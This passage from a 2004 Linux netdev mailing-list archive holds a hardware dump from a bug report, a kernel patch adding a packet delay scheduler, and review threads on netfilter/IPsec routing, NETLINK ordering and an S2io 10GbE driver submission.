ac 6348 0 - Live 0xf08bc000 mii 5120 1 e100, Live 0xf08b5000 usbkbd 7360 0 - Live 0xf082a000 usb_storage 68288 0 - Live 0xf0916000 usbcore 106780 3 usbkbd,usb_storage, Live 0xf08fa000 scsi_mod 119928 1 usb_storage, Live 0xf08db000 rtc 12856 0 - Live 0xf08b0000 unix 28656 156 - Live 0xf082f000 [7.4.] Loaded driver and hardware information (/proc/ioports, /proc/iomem) scjody@debian:/usr/src/linux-2.6.4-acpi$ cat /proc/ioports 0000-001f : dma1 0020-0021 : pic1 0040-005f : timer 0060-006f : keyboard 0070-0077 : rtc 0080-008f : dma page reg 00a0-00a1 : pic2 00c0-00df : dma2 00f0-00ff : fpu 0170-0177 : ide1 01f0-01f7 : ide0 0376-0376 : ide1 03c0-03df : vga+ 03f6-03f6 : ide0 0cf8-0cff : PCI conf1 1000-107f : 0000:00:1f.0 1180-11bf : 0000:00:1f.0 1800-181f : 0000:00:1d.0 1820-183f : 0000:00:1d.1 1840-185f : 0000:00:1d.2 1860-186f : 0000:00:1f.1 1880-189f : 0000:00:1f.3 18c0-18ff : 0000:00:1f.5 1c00-1cff : 0000:00:1f.5 2000-207f : 0000:00:1f.6 2400-24ff : 0000:00:1f.6 3000-3fff : PCI Bus #01 3000-30ff : 0000:01:00.0 8000-803f : 0000:02:08.0 8000-803f : e100 scjody@debian:/usr/src/linux-2.6.4-acpi$ cat /proc/iomem 00000000-0009efff : System RAM 0009f000-0009ffff : reserved 000a0000-000bffff : Video RAM area 000d0000-000d0fff : Extension ROM 000d1000-000d1fff : Extension ROM 000d2000-000d3fff : reserved 000e0000-000effff : Extension ROM 000f0000-000fffff : System ROM 00100000-2ff5ffff : System RAM 00100000-002ba87a : Kernel code 002ba87b-0037e53f : Kernel data 2ff60000-2ff77fff : ACPI Tables 2ff78000-2ff79fff : ACPI Non-volatile Storage 2ff80000-2fffffff : reserved 30000000-300003ff : 0000:00:1f.1 b0000000-b0000fff : 0000:02:00.0 b1000000-b1000fff : 0000:02:00.1 c0000000-c00003ff : 0000:00:1d.7 c0000800-c00008ff : 0000:00:1f.5 c0000c00-c0000dff : 0000:00:1f.5 c0100000-c01fffff : PCI Bus #01 c0100000-c010ffff : 0000:01:00.0 c0200000-c0200fff : 0000:02:02.0 c0201000-c0201fff : 0000:02:08.0 c0201000-c0201fff : e100 d0000000-dfffffff : 0000:00:00.0 e0000000-e7ffffff : PCI Bus #01 e0000000-e7ffffff : 0000:01:00.0 ff800000-ffffffff : reserved [7.5.] PCI information ('lspci -vvv' as root) 00:00.0 Host bridge: Intel Corp. 82855PM Processor to I/O Controller (rev 03) Subsystem: IBM: Unknown device 0529 Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR+ FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- TAbort- SERR- Reset- FastB2B- 00:1d.0 USB Controller: Intel Corp. 82801DB USB (Hub #1) (rev 01) (prog-if 00 [UHCI]) Subsystem: IBM: Unknown device 052d Control: I/O- Mem- BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap- 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- Reset- FastB2B- 00:1f.0 ISA bridge: Intel Corp. 82801DBM LPC Interface Controller (rev 01) Control: I/O+ Mem+ BusMaster+ SpecCycle+ MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap- 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- TAbort- SERR- Region 1: I/O ports at Region 2: I/O ports at Region 3: I/O ports at Region 4: I/O ports at 1860 [size=16] Region 5: [virtual] Memory at 30000000 (32-bit, non-prefetchable) [disabled] [size=1K] 00:1f.3 SMBus: Intel Corp. 82801DB/DBM SMBus Controller (rev 01) Subsystem: IBM: Unknown device 052d Control: I/O+ Mem- BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap- 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- [disabled] [size=128K] Capabilities: [58] AGP version 2.0 Status: RQ=48 Iso- ArqSz=0 Cal=0 SBA+ ITACoh- GART64- HTrans- 64bit- FW- AGP3- Rate=x1,x2,x4 Command: RQ=1 ArqSz=0 Cal=0 SBA+ AGP- GART64- 64bit- FW- Rate= Capabilities: [50] Power Management version 2 Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) Status: D0 PME-Enable- DSel=0 DScale=0 PME- 02:00.0 CardBus bridge: Texas Instruments PCI1250 PC card Cardbus Controller (rev 01) Subsystem: IBM ThinkPad T30 Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR+ FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Reset+ 16bInt+ PostWrite- 16-bit legacy interface ports at 0001 02:00.1 CardBus bridge: Texas Instruments PCI1250 PC card Cardbus Controller (rev 01) Subsystem: IBM ThinkPad T30 Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR+ FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Reset+ 16bInt+ PostWrite- 16-bit legacy interface ports at 0001 02:02.0 Network controller: Intel Corp. PRO/Wireless LAN 2100 3B Mini PCI Adapter (rev 04) Subsystem: Intel Corp.: Unknown device 2551 Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR+ FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- TAbort- SERR- ; Fri, 19 Mar 2004 10:47:18 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i2JIl5E01540; Fri, 19 Mar 2004 10:47:05 -0800 Date: Fri, 19 Mar 2004 10:47:05 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com, lartc@mailman.ds9a.nl Subject: Re: [PATCH] packet delay scheduler Message-Id: <20040319104705.3e99522c@dell_ss3.pdx.osdl.net> In-Reply-To: <20040318205346.3fd7829d.davem@redhat.com> References: <20040316151058.3cc2fa28@dell_ss3.pdx.osdl.net> <20040316174134.2f1da12a.davem@redhat.com> <20040318120451.1c9ee286@dell_ss3.pdx.osdl.net> <20040318205346.3fd7829d.davem@redhat.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4142 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 8487 Lines: 339 Okay, here is a 2.4 version. diff -Nru a/Documentation/Configure.help b/Documentation/Configure.help --- a/Documentation/Configure.help Fri Mar 19 10:46:19 2004 +++ b/Documentation/Configure.help Fri Mar 19 10:46:19 2004 @@ -10829,6 +10829,14 @@ whenever you want). If you want to compile it as a module, say M here and read . +Network delay simualtor +CONFIG_NET_SCH_DELAY + Say Y if you want to delay packets by a fixed amount of + time. This is often useful to simulate network delay when + testing applications or protocols. + + This code is also available as a module called sch_delay.o + Ingress Qdisc CONFIG_NET_SCH_INGRESS If you say Y here, you will be able to police incoming bandwidth diff -Nru a/include/linux/pkt_sched.h b/include/linux/pkt_sched.h --- a/include/linux/pkt_sched.h Fri Mar 19 10:46:19 2004 +++ b/include/linux/pkt_sched.h Fri Mar 19 10:46:19 2004 @@ -432,4 +432,11 @@ #define TCA_ATM_MAX TCA_ATM_STATE +/* Delay section */ +struct tc_dly_qopt +{ + __u32 latency; + __u32 limit; +}; + #endif diff -Nru a/net/sched/Config.in b/net/sched/Config.in --- a/net/sched/Config.in Fri Mar 19 10:46:19 2004 +++ b/net/sched/Config.in Fri Mar 19 10:46:19 2004 @@ -15,6 +15,7 @@ tristate ' TEQL queue' CONFIG_NET_SCH_TEQL tristate ' TBF queue' CONFIG_NET_SCH_TBF tristate ' GRED queue' CONFIG_NET_SCH_GRED +tristate ' Network delay simulator' CONFIG_NET_SCH_DELAY tristate ' Diffserv field marker' CONFIG_NET_SCH_DSMARK if [ "$CONFIG_NETFILTER" = "y" ]; then tristate ' Ingress Qdisc' CONFIG_NET_SCH_INGRESS diff -Nru a/net/sched/Makefile b/net/sched/Makefile --- a/net/sched/Makefile Fri Mar 19 10:46:19 2004 +++ b/net/sched/Makefile Fri Mar 19 10:46:19 2004 @@ -14,6 +14,7 @@ obj-$(CONFIG_NET_SCH_INGRESS) += sch_ingress.o obj-$(CONFIG_NET_SCH_CBQ) += sch_cbq.o obj-$(CONFIG_NET_SCH_CSZ) += sch_csz.o +obj-$(CONFIG_NET_SCH_DELAY) += sch_delay.o obj-$(CONFIG_NET_SCH_HPFQ) += sch_hpfq.o obj-$(CONFIG_NET_SCH_HFSC) += sch_hfsc.o obj-$(CONFIG_NET_SCH_HTB) += sch_htb.o diff -Nru a/net/sched/sch_delay.c b/net/sched/sch_delay.c --- /dev/null Wed Dec 31 16:00:00 1969 +++ b/net/sched/sch_delay.c Fri Mar 19 10:46:19 2004 @@ -0,0 +1,277 @@ +/* + * net/sched/sch_delay.c Simple constant delay + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + * + * Authors: Stephen Hemminger + */ + +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* Network delay simulator + This scheduler adds a fixed delay to all packets. + Similar to NISTnet and BSD Dummynet. + + It uses byte fifo underneath similar to TBF */ +struct dly_sched_data { + u32 latency; + u32 limit; + struct timer_list timer; + struct Qdisc *qdisc; +}; + +/* Time stamp put into socket buffer control block */ +struct dly_skb_cb { + psched_time_t queuetime; +}; + +/* Enqueue packets with underlying discipline (fifo) + * but mark them with current time first. + */ +static int dly_enqueue(struct sk_buff *skb, struct Qdisc *sch) +{ + struct dly_sched_data *q = (struct dly_sched_data *)sch->data; + struct dly_skb_cb *cb = (struct dly_skb_cb *)skb->cb; + int ret; + + PSCHED_GET_TIME(cb->queuetime); + + /* Queue to underlying scheduler */ + ret = q->qdisc->enqueue(skb, q->qdisc); + if (ret) + sch->stats.drops++; + else { + sch->q.qlen++; + sch->stats.bytes += skb->len; + sch->stats.packets++; + } + return 0; +} + +/* Requeue packets but don't change time stamp */ +static int dly_requeue(struct sk_buff *skb, struct Qdisc *sch) +{ + struct dly_sched_data *q = (struct dly_sched_data *)sch->data; + int ret; + + ret = q->qdisc->ops->requeue(skb, q->qdisc); + if (ret == 0) + sch->q.qlen++; + return ret; +} + +static unsigned int dly_drop(struct Qdisc *sch) +{ + struct dly_sched_data *q = (struct dly_sched_data *)sch->data; + unsigned int len; + + len = q->qdisc->ops->drop(q->qdisc); + if (len) { + sch->q.qlen--; + sch->stats.drops++; + } + return len; +} + +/* Dequeue packet. + * If packet needs to be held up, then stop the + * queue and set timer to wakeup later. + */ +static struct sk_buff *dly_dequeue(struct Qdisc *sch) +{ + struct dly_sched_data *q = (struct dly_sched_data *)sch->data; + struct sk_buff *skb = q->qdisc->dequeue(q->qdisc); + + if (skb) { + struct dly_skb_cb *cb = (struct dly_skb_cb *)skb->cb; + psched_time_t now; + long diff; + + PSCHED_GET_TIME(now); + diff = q->latency - PSCHED_TDIFF(now, cb->queuetime); + + if (diff <= 0) { + sch->q.qlen--; + sch->flags &= ~TCQ_F_THROTTLED; + return skb; + } + + if (!netif_queue_stopped(sch->dev)) { + long delay = PSCHED_US2JIFFIE(diff); + if (delay <= 0) + delay = 1; + mod_timer(&q->timer, jiffies+delay); + } + + if (q->qdisc->ops->requeue(skb, q->qdisc) != NET_XMIT_SUCCESS) { + sch->q.qlen--; + sch->stats.drops++; + } + sch->flags |= TCQ_F_THROTTLED; + } + return NULL; +} + +static void dly_reset(struct Qdisc *sch) +{ + struct dly_sched_data *q = (struct dly_sched_data *)sch->data; + + qdisc_reset(q->qdisc); + sch->q.qlen = 0; + sch->flags &= ~TCQ_F_THROTTLED; + del_timer(&q->timer); +} + +static void dly_timer(unsigned long arg) +{ + struct Qdisc *sch = (struct Qdisc *)arg; + + sch->flags &= ~TCQ_F_THROTTLED; + netif_schedule(sch->dev); +} + +/* Tell Fifo the new limit. */ +static int change_limit(struct Qdisc *q, u32 limit) +{ + struct rtattr *rta; + int ret; + + rta = kmalloc(RTA_LENGTH(sizeof(struct tc_fifo_qopt)), GFP_KERNEL); + if (!rta) + return -ENOMEM; + + rta->rta_type = RTM_NEWQDISC; + ((struct tc_fifo_qopt *)RTA_DATA(rta))->limit = limit; + ret = q->ops->change(q, rta); + kfree(rta); + + return ret; +} + +/* Setup underlying FIFO discipline */ +static int dly_change(struct Qdisc *sch, struct rtattr *opt) +{ + struct dly_sched_data *q = (struct dly_sched_data *)sch->data; + struct tc_dly_qopt *qopt = RTA_DATA(opt); + int err; + + if (q->qdisc == &noop_qdisc) { + struct Qdisc *child + = qdisc_create_dflt(sch->dev, &bfifo_qdisc_ops); + if (!child) + return -EINVAL; + q->qdisc = child; + } + + err = change_limit(q->qdisc, qopt->limit); + if (err) { + qdisc_destroy(q->qdisc); + q->qdisc = &noop_qdisc; + } else { + q->latency = qopt->latency; + q->limit = qopt->limit; + } + return err; +} + +static int dly_init(struct Qdisc *sch, struct rtattr *opt) +{ + struct dly_sched_data *q = (struct dly_sched_data *)sch->data; + int err; + + if (!opt) + return -EINVAL; + + MOD_INC_USE_COUNT; + + init_timer(&q->timer); + q->timer.function = dly_timer; + q->timer.data = (unsigned long) sch; + q->qdisc = &noop_qdisc; + + err = dly_change(sch, opt); + if (err) + MOD_DEC_USE_COUNT; + + return err; +} + +static void dly_destroy(struct Qdisc *sch) +{ + struct dly_sched_data *q = (struct dly_sched_data *)sch->data; + + del_timer(&q->timer); + qdisc_destroy(q->qdisc); + q->qdisc = &noop_qdisc; + + MOD_DEC_USE_COUNT; +} + +static int dly_dump(struct Qdisc *sch, struct sk_buff *skb) +{ + struct dly_sched_data *q = (struct dly_sched_data *)sch->data; + unsigned char *b = skb->tail; + struct tc_dly_qopt qopt; + + qopt.latency = q->latency; + qopt.limit = q->limit; + + RTA_PUT(skb, TCA_OPTIONS, sizeof(qopt), &qopt); + + return skb->len; + +rtattr_failure: + skb_trim(skb, b - skb->data); + return -1; +} + +struct Qdisc_ops dly_qdisc_ops = { + .id = "delay", + .priv_size = sizeof(struct dly_sched_data), + .enqueue = dly_enqueue, + .dequeue = dly_dequeue, + .requeue = dly_requeue, + .drop = dly_drop, + .init = dly_init, + .reset = dly_reset, + .destroy = dly_destroy, + .change = dly_change, + .dump = dly_dump, +}; + +#ifdef MODULE +int init_module(void) +{ + return register_qdisc(&dly_qdisc_ops); +} + +void cleanup_module(void) +{ + unregister_qdisc(&dly_qdisc_ops); +} +#endif +MODULE_LICENSE("GPL"); From herbert@gondor.apana.org.au Fri Mar 19 13:05:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Mar 2004 13:05:52 -0800 (PST) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2JL5mKO022175 for ; Fri, 19 Mar 2004 13:05:49 -0800 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1B4RBK-0003C2-00; Sat, 20 Mar 2004 08:05:30 +1100 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1B4RBF-00009j-00; Sat, 20 Mar 2004 08:05:25 +1100 Date: Sat, 20 Mar 2004 08:05:25 +1100 To: Patrick McHardy Cc: "David S. Miller" , netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 4/5]: netfilter+ipsec - policy lookup Message-ID: <20040319210525.GA479@gondor.apana.org.au> References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF17.8090907@trash.net> <20040319115130.GE29066@gondor.apana.org.au> <405B2132.6060403@trash.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <405B2132.6060403@trash.net> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 4143 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev Content-Length: 1896 Lines: 63 On Fri, Mar 19, 2004 at 05:34:58PM +0100, Patrick McHardy wrote: > Herbert Xu wrote: > >On Thu, Mar 18, 2004 at 05:32:23PM +0100, Patrick McHardy wrote: > > > >>@@ -635,7 +636,6 @@ > >>#ifdef CONFIG_IP_ROUTE_FWMARK > >> fl.nl_u.ip4_u.fwmark = (*pskb)->nfmark; > >>#endif > >>- fl.proto = iph->protocol; > > > > > >Better call __ip_route_output_key rather than not setting proto because > >you'll need proto in xfrm_lookup. Right, you're calling decode_session below which is much better. > >>@@ -661,6 +661,20 @@ > >> > >> if ((*pskb)->dst->error) > >> return -1; > >>+ > >>+#ifdef CONFIG_XFRM > >>+ if (!(IPCB(*pskb)->flags & IPSKB_XFRM_TRANSFORMED)) { > >>+ struct xfrm_policy_afinfo *afinfo; > >>+ > >>+ afinfo = xfrm_policy_get_afinfo(AF_INET); > >>+ if (afinfo != NULL) { > >>+ afinfo->decode_session(*pskb, &fl); > >>+ xfrm_policy_put_afinfo(afinfo); > >>+ if (xfrm_lookup(&(*pskb)->dst, &fl, (*pskb)->sk, 0) > >>!= 0) > >>+ return -1; > >>+ } > >>+ } > >>+#endif > > > > > >If we can reinject transport packets then we can move this back into > >the if clause. > > I don't understand the relationship to transport mode packets. I used an Actually it was me who was confused. ip_route_me_harder can be called on both incoming/outgoing packets. That's what the if clause is trying to determine. You should only call xfrm_lookup on the outgoing path. So this should be moved back to the if clause above: fl.proto = iph->protocol; lookup = __ip_route_output_key; #ifdef CONFIG_XFRM if (!(IPCB(*pskb)->flags & IPSKB_XFRM_TRANSFORMED)) { lookup = ip_route_output_key; do_decode } #endif if (lookup(&rt, &fl) != 0) return -1; -- Debian GNU/Linux 3.0 is out! ( http://www.debian.org/ ) Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt From herbert@gondor.apana.org.au Fri Mar 19 13:06:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Mar 2004 13:06:10 -0800 (PST) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2JL66KO022215 for ; Fri, 19 Mar 2004 13:06:08 -0800 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1B4RBj-0003CH-00; Sat, 20 Mar 2004 08:05:55 +1100 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1B4RBj-0000AC-00; Sat, 20 Mar 2004 08:05:55 +1100 Date: Sat, 20 Mar 2004 08:05:55 +1100 To: Patrick McHardy Cc: "David S. Miller" , netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 3/5]: netfilter+ipsec - input hooks Message-ID: <20040319210555.GB479@gondor.apana.org.au> References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF0E.3050708@trash.net> <20040318221523.07298f03.davem@redhat.com> <405B1D1A.6050700@trash.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <405B1D1A.6050700@trash.net> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 4144 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev Content-Length: 543 Lines: 12 On Fri, Mar 19, 2004 at 05:17:30PM +0100, Patrick McHardy wrote: > > I can't imagine how. Best would be to avoid the xfrm_prot flag > completely. Maybe we can add a flag to xfrm_state which indicates > that this is the last xfrm specified in the policy ? The same state can be terminal in one policy but not another. -- Debian GNU/Linux 3.0 is out! ( http://www.debian.org/ ) Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt From davem@redhat.com Fri Mar 19 14:21:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Mar 2004 14:21:37 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2JMLYKO024815 for ; Fri, 19 Mar 2004 14:21:34 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2JMLEWA005288; Fri, 19 Mar 2004 17:21:14 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2JMLEj21728; Fri, 19 Mar 2004 17:21:14 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2JMKw1n027129; Fri, 19 Mar 2004 17:20:59 -0500 Date: Fri, 19 Mar 2004 14:21:12 -0800 From: "David S. Miller" To: hadi@cyberus.ca Cc: shemminger@osdl.org, netdev@oss.sgi.com, lartc@mailman.ds9a.nl Subject: Re: [PATCH] packet delay scheduler Message-Id: <20040319142112.0ad562fe.davem@redhat.com> In-Reply-To: <1079707927.1032.42.camel@jzny.localdomain> References: <20040316151058.3cc2fa28@dell_ss3.pdx.osdl.net> <20040316174134.2f1da12a.davem@redhat.com> <20040318120451.1c9ee286@dell_ss3.pdx.osdl.net> <1079707927.1032.42.camel@jzny.localdomain> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4145 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 483 Lines: 13 On 19 Mar 2004 09:52:07 -0500 jamal wrote: > The better alternative is to use the tc extension patches i have > because then you could write little modules which do different things > and cascade them. I agree that this chaining idea of tc actions is the end-all-be-all way to do this kind of stuff. But for now we can put Stephen's delay scheduler in the tree, and I don't see any real problem with that until your tc action changes are ready for integration. From pavlin@icir.org Fri Mar 19 19:14:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Mar 2004 19:14:58 -0800 (PST) Received: from possum.icir.org (possum.icir.org [192.150.187.67]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2K3EqKO004709 for ; Fri, 19 Mar 2004 19:14:55 -0800 Received: from possum.icir.org (localhost [127.0.0.1]) by possum.icir.org (8.12.9p1/8.12.8) with ESMTP id i2K3EpRj032698; Fri, 19 Mar 2004 19:14:52 -0800 (PST) (envelope-from pavlin@possum.icir.org) Message-Id: <200403200314.i2K3EpRj032698@possum.icir.org> To: netdev@oss.sgi.com Cc: pavlin@icir.org Subject: Deleting tun interface and NETLINK messages ordering Date: Fri, 19 Mar 2004 19:14:51 -0800 From: Pavlin Radoslavov X-archive-position: 4146 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pavlin@icir.org Precedence: bulk X-list: netdev Content-Length: 1059 Lines: 36 [ OS: RedHat-7.2 with 2.4.18 kernel ] I was playing with adding/deleting tunnel interfaces (interface name "tun") by using openvpn (http://openvpn.sourceforge.net/), and I noticed that when I start openvpn the kernel sends the NETLINK upcalls with the new information to user-space in the following order: 1. RTM_NEWLINK 2. RTM_NEWADDR I.e., first the "interface added" message, and then the "address added" message. However, when I quit openvpn, the NETLINK upcall messages appear in the following order: 1. RTM_DELLINK 2. RTM_DELADDR I.e., first the "interface deleted" message, and then the "address deleted" message. I would have expect that when an interface is deleted, the RTM_DELADDR message(s) will appear first, and then the RTM_DELLINK message. Indeed, when the userland process that monitors the network interface status receives the RTM_DELLINK message it can remove all state about that interface (including its addresses), but then it should be aware that it may receive RTM_DELADDR for non-existing interface. Thanks, Pavlin From leonid.grossman@s2io.com Fri Mar 19 20:39:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Mar 2004 20:39:49 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2K4diKO010037 for ; Fri, 19 Mar 2004 20:39:44 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i2K4dajF003466; Fri, 19 Mar 2004 23:39:36 -0500 (EST) Received: from lgt40 ([192.168.0.3]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i2K4dMUg007423; Fri, 19 Mar 2004 23:39:22 -0500 (EST) From: "Leonid Grossman" To: "'Jeff Garzik'" Cc: , "'ravinandan arakali'" , Subject: Submission #4 for S2io 10GbE driver Date: Fri, 19 Mar 2004 20:35:49 -0800 Message-ID: <001001c40e34$d2c3c4b0$0300a8c0@S2IOtech.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0011_01C40DF1.C4A084B0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 In-Reply-To: <4040F866.9040200@pobox.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Importance: Normal X-Scanned-By: MIMEDefang 2.34 X-archive-position: 4147 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: leonid.grossman@s2io.com Precedence: bulk X-list: netdev Content-Length: 320038 Lines: 8822 This is a multi-part message in MIME format. ------=_NextPart_000_0011_01C40DF1.C4A084B0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit All the issues are addressed, except for the ones that were discussed and resolved over e-mail. Best Regards, Leonid > -----Original Message----- > From: Jeff Garzik [mailto:jgarzik@pobox.com] > Sent: Saturday, February 28, 2004 12:22 PM > To: Leonid Grossman > Cc: netdev@oss.sgi.com; 'Stephen Hemminger'; 'Christoph > Hellwig'; 'ravinandan arakali'; raghavendra.koushik@s2io.com > Subject: Re: Submission #3 for S2io 10GbE driver > > > Looking a lot better. A few merge issues remain, and some > operational > ones as well. There are 39 issues in this review, but IMO they are > mostly minor issues that don't require much thought or work. > > > Comments: > > 0) to repeat myself from an earlier review... grumble... > You CANNOT use NETIF_F_HW_CSUM, when your hardware does not > provide the > checksum value. You must use NETIF_F_IP_CSUM. Your use of > NETIF_F_HW_CSUM + CHECKSUM_UNNECESSARY is flat out incorrect. > > 1) the makefile is for out-of-tree stuff. The proper > makefile will be > much smaller. So just submit a proper in-tree Makefile. > > 2) (in general) we don't want the compatibility stuff in-tree, that's > for out-of-tree as well. > > 3) just submit a patch to include/linux/pci_ids.h instead of > the following > > +/* VENDOR and DEVICE ID of XENA. */ > +#ifndef PCI_VENDOR_ID_S2IO > +#define PCI_VENDOR_ID_S2IO 0x17D5 > +#define PCI_DEVICE_ID_S2IO_WIN 0x5731 > +#define PCI_DEVICE_ID_S2IO_UNI 0x5831 > +#endif > > 4) just delete the SET_NETDEV_DEV(), FREE_NETDEV, and IRQ_NONE > compatibility defines. these are in 2.4 just like 2.6. > > 5) Many PCI posting bugs remain. FixMacAddress is an excellent > illustration: > > + write64(&bar0->gpio_control, 0x0040600000000000ULL); > + udelay(10); > + write64(&bar0->gpio_control, 0x0000600000000000ULL); > + udelay(10); > + write64(&bar0->gpio_control, 0x0020600000000000ULL); > + udelay(10); > + write64(&bar0->gpio_control, 0x0060600000000000ULL); > + udelay(10); > > The delay is _not_ guaranteed at all, because you do not know > when that > write64() will actually be sent to the PCI bus. Only a > read[bwl,64] is > guaranteed to flush the write to the PCI device. > > So, the above code does not function as you would expect, on > all platforms. > > 6) More examples of PCI 